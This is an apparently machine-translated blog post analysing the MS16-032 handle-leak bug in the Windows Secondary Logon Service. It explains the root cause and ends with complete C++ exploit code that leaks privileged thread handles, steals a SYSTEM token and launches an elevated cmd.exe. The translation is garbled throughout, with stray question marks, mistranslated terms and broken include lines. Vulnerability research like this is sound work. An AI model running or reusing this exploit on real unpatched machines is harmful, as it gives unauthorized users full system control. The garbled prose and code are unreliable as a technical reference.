Windows? Secondary? Analysis of a handle permission leakage Bug in the Logon SERVICE
0x00 Preface
The original author wrote too many clauses, and token handle was exchanged. I felt dizzy when there were a lot of three or four sentences without commas. If the translation was wrong, for example, if you mistakenly compress a token into a handle, contact me.
0x01 Bug description
I accidentally discovered a bug that could leak the handle opened in a privileged process to a lower privileged process. Bug in Windows? Secondary? In the Logon SERVICE, this vulnerability can leak a thread handle with full access permissions. Microsoft fixed the bug in the MS16-032 patch. This blog will show you how to use the thread handle to gain system privileges without the traditional Memory Corruption technology.
You can find issue here. Secondary Logon Service exists in Windows XP +. This service exposes an RPC endpoint that allows normal processes to create a new process with different tokens. From the API perspective, this function is exposed through CreateProcessWithTokenW and CreateProcessWithLogonW. Their behavior is very similar to CreateProcessAsUser. The difference is that it does not need SeAssignPrimaryTokenPrivilege (+ AsUser), but needs SeImpersonatePrivilege to simulate the token. The logon function is very convenient. It calls the LsaLogonUser through the login creden。 and uses the generated token to create the process.
These APIs take the same parameters as normal CreateProcess (including passing a handle to stdin/stdout/stderror ). The process of passing the handle allows the console process to redirect the output and input to other files. When creating a new process, these handles are generally transferred to the new process through the inheritance of handles. In Secondary? In the Logon example, the service is not the actual parent process of the new process, so it is manually used from the specified parent process? DuplicateHandle? API? Copy the handle to the new process. The Code is as follows:
#!cpp// Contains, hStdInput, hStdOutout and hStdError.HANDLE StandardHandles[3] = {...};// Location of standard handle in target process PEB.PHANDLE HandleAddress = ...;for(int i = 0; i < 3; ++i) { ?if (StandardHandles[i]) { ???if (StandardHandles[i] & 0x10000003) != 3 ) { ?????HANDLE TargetHandle; ?????if (!DuplicateHandle(ParentProcess, StandardHandles[i], ?????????TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS)) ???????return ERROR; ?????if (!WriteProcessMemory(TargetProcess, &HandleAddress[i], ????????&TargetHandle, sizeof(TargetHandle))) ???????return ERROR; ???} ?}}
The code copies the handle from the parent process (this is the RPC caller) to the target process. Then write the copied handle value to the new process PEB? In the ProcessParameters structure, this can be extracted using the API, such as GetStdHandle. The handle value looks standardized in some way: It checks whether the low 2 bits of the handle are not set (the handle value is always a multiple of 4 in the NT architecture system ), but it also checks whether 29-bit is not set.
For the sake of performance and simplicity of development, the NT kernel has a special handle that allows the process to reference the current process or thread using a pseudo handle, instead of using its PID/TID to open the object and obtain it through full access permissions (although this can also be done ). Developers usually obtain the information through the GetCurrentProcess and GetCurrentThread APIs. We can see the special case in the following code:
#!cppNTSTATUS ObpReferenceProcessObjectByHandle(HANDLE ??????SourceHandle, ??????????????????????????????????????????EPROCESS* ???SourceProcess, ??????????????????????????????????????????..., ??????????????????????????????????????????PVOID* ??????Object, ??????????????????????????????????????????ACCESS_MASK* GrantedAccess) { ?if ((INT_PTR)SourceHandle < 0) { ???if (SourceHandle == (HANDLE)-1 ) { ?????*GrantedAccess = PROCESS_ALL_ACCESS; ?????*Object = SourceProcess; ?????return STATUS_SUCCESS; ???} else if (SourceHandle == (HANDLE)-2) { ?????*GrantedAccess = THREAD_ALL_ACCESS; ?????*Object = KeGetCurrentThread(); ?????return STATUS_SUCCESS; ???} ???return STATUS_INVALID_HANDLE; ??? ???// Get from process handle table.}
Now we can understand why the code checks 29 BITs. It checks whether the value (pseudo-handle-1,-2) is set for the lower two bits, but even if the higher bits are set, it should also be considered as a valid handle. This is the root cause of the error. We can find from the kernel code that if-1 is specified, the source process has full access permissions. However, it is useless. Because the source process is under our control and has no privilege.
On the other hand, if-2 is specified, it will have full access to the current thread, but this thread is actually a Secondary Logon Service, and it is also a ready-made thread pool used to process RPC requests. This is obviously a problem.
The only question is how can we call the CreateProcessWithToken/Logon API to start the process as a common user? The caller must have SeImpersonatePrivilege, but it is easy to consider that a valid user account and password are required when logging on as a common user. If we are a malicious user, this is acceptable, however, if we are using a vulnerability to attack others, it is better not to do so. We carefully looked at the previous special sign, so that we do not need to provide a valid credential, called LOGON_NETCREDENTIALS_ONLY. When it is used together with the login API to connect to network resources, the Master Card is based on the caller. This allows us to create processes without special permissions or passwords of users. By combining them, we can use the following code to capture a thread handle:
#!cppHANDLE GetThreadHandle() { ?PROCESS_INFORMATION procInfo = {}; ?STARTUPINFO startInfo = {}; ?startInfo.cb = sizeof(startInfo); ?startInfo.hStdInput = GetCurrentThread(); ?startInfo.hStdOutput = GetCurrentThread(); ?startInfo.hStdError = GetCurrentThread(); ?startInfo.dwFlags = STARTF_USESTDHANDLES; ?CreateProcessWithLogonW(L"test", L"test", L"test", ?????????????????????????LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe", ?????????????????????????CREATE_SUSPENDED, nullptr, nullptr, ?????????????????????????&startInfo, &procInfo); ?HANDLE hThread = nullptr; ? ?DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, ????????GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); ?TerminateProcess(procInfo.hProcess, 1); ?CloseHandle(procInfo.hProcess); ?CloseHandle(procInfo.hThread); ?return hThread;}
0x02 Exploitation
Exploitation links. Fortunately, this handle belongs to a thread pool thread, which means this thread will be used to process other RPC requests. If the thread only exists in one request of the Service, it will be a lot of tricky to use.
You may think that you must first set the thread context to use this leak handle. We need to use SetThreadContext for both debugging purposes and to allow another process to resume execution. It will save the CONTEXT status, including the register values, such as RIP and RSP. When the thread resumes execution, it can read the saved values and execute them from the specified position. This seems to be a good method, but there must be a problem.
It only changes the execution context of the user mode. If the thread is in the non-alertable wait Status, it will not start execution until some unknown conditions are met. Because we do not have a process handle, we cannot easily inject shellcode into the memory, so we need to drop the DEP. Although we can inject the memory into the process (for example, sending a large buffer through RPC), we do not know where this piece of data is stored after the injection, in particular, the address space is as large as 64-bit. Although we can call GetThreadContext to obtain information leakage, it is not enough. If an error occurs, the service will crash, which we hope to avoid. Although the SetThreadContext method is used to take advantage of the success rate of 100%, it is very painful. It would be better if we can avoid drop-down. Therefore, I want a logical vulnerability. In this example, the nature and service of the vulnerability are beneficial to us.
? All the main points of the Secondary Logon Service are to create new processes for any token, so if we can spoof the service in some way to use privileged access tokens and bypass security restrictions, we should be able to escalate our privileges. Why? Let's take a look at the code sequence of the service implementation CreateProcessWithLogon.
#!cppRpcImpersonateClient();Process = OpenProcess(CallingProcess);Token = OpenThreadToken(Process)If Token IL < MEDIUM_IL Then Error;RpcRevertToSelf();RpcImpersonateClient();Token = LsaLogonUser(...);RpcRevertToSelf();ImpersonateLoggedOnUser(Token);CreateProcessAsUser(Token, ...);RevertToSelf();
This Code uses a lot of identity simulation. Because we have obtained a thread with the THREAD_IMPERSONATE access permission, we can set the thread's simulated token. If we set a simulated handle with permissions when the service calls LsaLogonUser, we can get a copy of the token and use it to create any process.
It would be much easier if we could clear the simulated tokens (then they would return the master system handle. But unfortunately, IL check stops us. If we clear the handle OpenThreadToken at the wrong time, it will fail, and the IL check will reject the access. So we need to get a token with permissions from another place. There are several ways to do this, such as through WebDAV and NTML negotiation, but this only increases complexity. Can I use other methods to get the token without using other resources?
An undocumented nt System can call NtImpersonateThread to help.
#!cppNTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, PSECURITY_QUALITY_OF_SERVICE SecurityQoS)
This system call allows you to apply a simulated token to a thread based on the status of another thread. If the source thread does not simulate the token, the kernel will create one from the associated process master token. Although it is useless, this may allow us to use the same thread handle to create a simulation for the target and source. Because this is a system service, we need to get a system simulated token. The following code can be implemented:
#!cppHANDLE GetSystemToken(HANDLE hThread) { // Suspend thread just in case. SuspendThread(hThread); SECURITY_QUALITY_OF_SERVICE sqos = {}; sqos.Length = sizeof(sqos); sqos.ImpersonationLevel = SecurityImpersonation; // Clear existing thread token. SetThreadToken(&hThread, nullptr); NtImpersonateThread(hThread, hThread, &sqos); // Open a new copy of the token. HANDLE hToken = nullptr; OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken); ResumeThread(hThread); return hToken;}
Everything is ready. We start a thread to cyclically set a simulated token for the leaked thread handle. In another thread, we call CreateProcessWithLogon until the new process has a permission token. We can check the Master Card to determine whether the creation is successful. The token cannot be opened by default. Once opened, the token is successfully opened.
! [P1] [1]
There is a problem with this simple method, that is, there are a bunch of threads available in the thread pool, so we cannot ensure that the service is called and accurate to the specific thread. So we have to run it n times to get the desired handle. As long as we get the handles of all possible threads, we will be able to achieve success in all sorts of ways.
Maybe we can improve the reliability by adjusting the thread priority. However, it seems that this method is also acceptable, and it will not crash and then create a process with a non-privileged token. Calling CreateProcessWithLogon in multiple threads makes no sense, because the service has a global lock to prevent re-entry.
At the end of the article, I pasted the exploitation code. You need to check whether the number of digits in the compiling environment is correct, because RPC calls may truncate the handle. The handle value is a pointer and has no symbols. When the RPC method is used to convert a 32-bit handle to a 64-bit handle, zero is automatically filled. Therefore, (DWORD)-2 is not equal to (DWORD64)-2, and an invalid handle value is generated.
0x03 conclusion
I hope this article shows an interesting attack method for leaking thread handles in a service with permissions. Of course, it only serves as a service that can directly provide the process creation capability in the leaked thread handle, but you can also use this method to create arbitrary files or other resources. You can use the Memory Corruption technology to achieve this goal, but you do not have to do so.
0x04 code
#!cpp#include
#include
#include
#include
#define MAX_PROCESSES 1000HANDLE GetThreadHandle(){ ?PROCESS_INFORMATION procInfo = {}; ?STARTUPINFO startInfo = {}; ?startInfo.cb = sizeof(startInfo); ?startInfo.hStdInput = GetCurrentThread(); ?startInfo.hStdOutput = GetCurrentThread(); ?startInfo.hStdError = GetCurrentThread(); ?startInfo.dwFlags = STARTF_USESTDHANDLES; ?if (CreateProcessWithLogonW(L"test", L"test", L"test", ??????????????LOGON_NETCREDENTIALS_ONLY, ??????????????nullptr, L"cmd.exe", CREATE_SUSPENDED, ??????????????nullptr, nullptr, &startInfo, &procInfo)) ?{ ???HANDLE hThread; ?? ???BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4, ????????????GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS); ???DWORD dwLastError = GetLastError(); ???TerminateProcess(procInfo.hProcess, 1); ???CloseHandle(procInfo.hProcess); ???CloseHandle(procInfo.hThread); ???if (!res) ???{ ?????printf("Error duplicating handle %d\n", dwLastError); ?????exit(1); ???} ???return hThread; ?} ?else ?{ ???printf("Error: %d\n", GetLastError()); ???exit(1); ?}}typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle, ?????HANDLE ThreadToImpersonate, ?????PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);HANDLE GetSystemToken(HANDLE hThread){ ?SuspendThread(hThread); ?NtImpersonateThread* fNtImpersonateThread = ????(NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"), ?????????????????????????????????????????"NtImpersonateThread"); ?SECURITY_QUALITY_OF_SERVICE sqos = {}; ?sqos.Length = sizeof(sqos); ?sqos.ImpersonationLevel = SecurityImpersonation; ?SetThreadToken(&hThread, nullptr); ?NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos); ?if (status != 0) ?{ ???ResumeThread(hThread); ???printf("Error impersonating thread %08X\n", status); ???exit(1); ?} ?HANDLE hToken; ?if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, ??????????????????????FALSE, &hToken)) ?{ ???printf("Error opening thread token: %d\n", GetLastError()); ???ResumeThread(hThread); ??? ???exit(1); ?} ?ResumeThread(hThread); ?return hToken;}struct ThreadArg{ ?HANDLE hThread; ?HANDLE hToken;};DWORD CALLBACK SetTokenThread(LPVOID lpArg){ ?ThreadArg* arg = (ThreadArg*)lpArg; ?while (true) ?{ ???if (!SetThreadToken(&arg->hThread, arg->hToken)) ???{ ?????printf("Error setting token: %d\n", GetLastError()); ?????break; ???} ?} ?return 0;}int main(){ ?std::map
thread_handles; ?printf("Gathering thread handles\n"); ?for (int i = 0; i < MAX_PROCESSES; ++i) { ???HANDLE hThread = GetThreadHandle(); ???DWORD dwTid = GetThreadId(hThread); ???if (!dwTid) ???{ ?????printf("Handle not a thread: %d\n", GetLastError()); ?????exit(1); ???} ???if (thread_handles.find(dwTid) == thread_handles.end()) ???{ ?????thread_handles[dwTid] = hThread; ???} ???else ???{ ?????CloseHandle(hThread); ???} ?} ?printf("Done, got %zd handles\n", thread_handles.size()); ? ?if (thread_handles.size() > 0) ?{ ???HANDLE hToken = GetSystemToken(thread_handles.begin()->second); ???printf("System Token: %p\n", hToken); ??? ???for (const auto& pair : thread_handles) ???{ ?????ThreadArg* arg = new ThreadArg; ?????arg->hThread = pair.second; ?????DuplicateToken(hToken, SecurityImpersonation, &arg->hToken); ?????CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr); ???} ???while (true) ???{ ?????PROCESS_INFORMATION procInfo = {}; ?????STARTUPINFO startInfo = {}; ?????startInfo.cb = sizeof(startInfo); ???? ?????if (CreateProcessWithLogonW(L"test", L"test", L"test", ?????????????LOGON_NETCREDENTIALS_ONLY, nullptr, ?????????????L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr, ?????????????&startInfo, &procInfo)) ?????{ ???????HANDLE hProcessToken; ???????// If we can't get process token good chance it's a system process. ???????if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED, ?????????????????????????????&hProcessToken)) ???????{ ?????????printf("Couldn't open process token %d\n", GetLastError()); ?????????ResumeThread(procInfo.hThread); ?????????break; ???????} ???????// Just to be sure let's check the process token isn't elevated. ???????TOKEN_ELEVATION elevation; ???????DWORD dwSize =0; ???????if (!GetTokenInformation(hProcessToken, TokenElevation, ?????????????????????????????&elevation, sizeof(elevation), &dwSize)) ???????{ ?????????printf("Couldn't get token elevation: %d\n", GetLastError()); ?????????ResumeThread(procInfo.hThread); ?????????break; ???????} ???????if (elevation.TokenIsElevated) ???????{ ?????????printf("Created elevated process\n"); ?????????break; ???????} ???????TerminateProcess(procInfo.hProcess, 1); ???????CloseHandle(procInfo.hProcess); ???????CloseHandle(procInfo.hThread); ?????} ???? ???} ?} ?return 0;}